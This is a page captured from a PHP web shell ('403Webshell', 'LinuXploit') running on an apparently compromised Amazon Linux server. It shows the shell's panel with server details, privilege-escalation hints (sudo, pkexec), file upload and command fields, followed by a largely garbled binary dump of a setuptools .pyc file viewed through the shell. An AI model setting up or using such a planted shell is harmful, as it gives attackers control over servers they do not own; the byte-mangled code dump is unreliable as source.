403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/setuptools/_distutils/__pycache__/spawn.cpython-39.pyc
a

H�8h�
�@s\dZddlZddlZddlZddlmZmZddlmZddl	m
Z
ddd�Zdd	d
�ZdS)
z�distutils.spawn

Provides the 'spawn()' function, a front-end to various platform-
specific functions for launching another program in a sub-process.
Also provides the 'find_executable()' to search the path for a given
executable name.
�N)�DistutilsPlatformError�DistutilsExecError)�DEBUG)�log�c
Cst|�}t�t�|��|r dS|r@t|d�}|dur@||d<|durL|nttj�}t	j
dkr�ddlm}m
}|�}|r�|||<z tj||d�}	|	��|	j}
WnHty�}z0ts�|d}td||jdf�|�WYd}~n
d}~00|
�rts�|d}td||
f��dS)	a�Run another program, specified as a command list 'cmd', in a new process.

    'cmd' is just the argument list for the new process, ie.
    cmd[0] is the program to run and cmd[1:] are the rest of its arguments.
    There is no way to run a program with a name different from that of its
    executable.

    If 'search_path' is true (the default), the system's executable
    search path will be used to find the program; otherwise, cmd[0]
    must be the exact path to the executable.  If 'dry_run' is true,
    the command will not actually be run.

    Raise DistutilsExecError if running the program fails in any way; just
    return on success.
    Nr�darwin)�MACOSX_VERSION_VAR�get_macosx_target_ver)�envzcommand %r failed: %s���z#command %r failed with exit code %s)�listr�info�
subprocessZlist2cmdline�find_executable�dict�os�environ�sys�platformZdistutils.utilrr	�Popen�wait�
returncode�OSErrorrr�args)�cmdZsearch_path�verboseZdry_runr
�
executablerr	Zmacosx_target_ver�procZexitcode�exc�r�?/usr/lib/python3.9/site-packages/setuptools/_distutils/spawn.py�spawns@

��
�r!c	Cs�tj�|�\}}tjdkr*|dkr*|d}tj�|�r:|S|dur�tj�dd�}|dur�zt�d�}Wnt	t
fy�tj}Yn0|s�dS|�tj
�}|D]&}tj�||�}tj�|�r�|Sq�dS)z�Tries to find 'executable' in the directories listed in 'path'.

    A string listing directories separated by 'os.pathsep'; defaults to
    os.environ['PATH'].  Returns the complete filename or None if not found.
    Zwin32z.exeN�PATH�CS_PATH)r�path�splitextrr�isfiler�get�confstr�AttributeError�
ValueError�defpath�split�pathsep�join)rr$�_Zext�paths�p�frrr rHs(
r)rrrN)N)
�__doc__rrrZdistutils.errorsrrZdistutils.debugrZ	distutilsrr!rrrrr �<module>s
6

Youez - 2016 - github.com/yon3zu
LinuXploit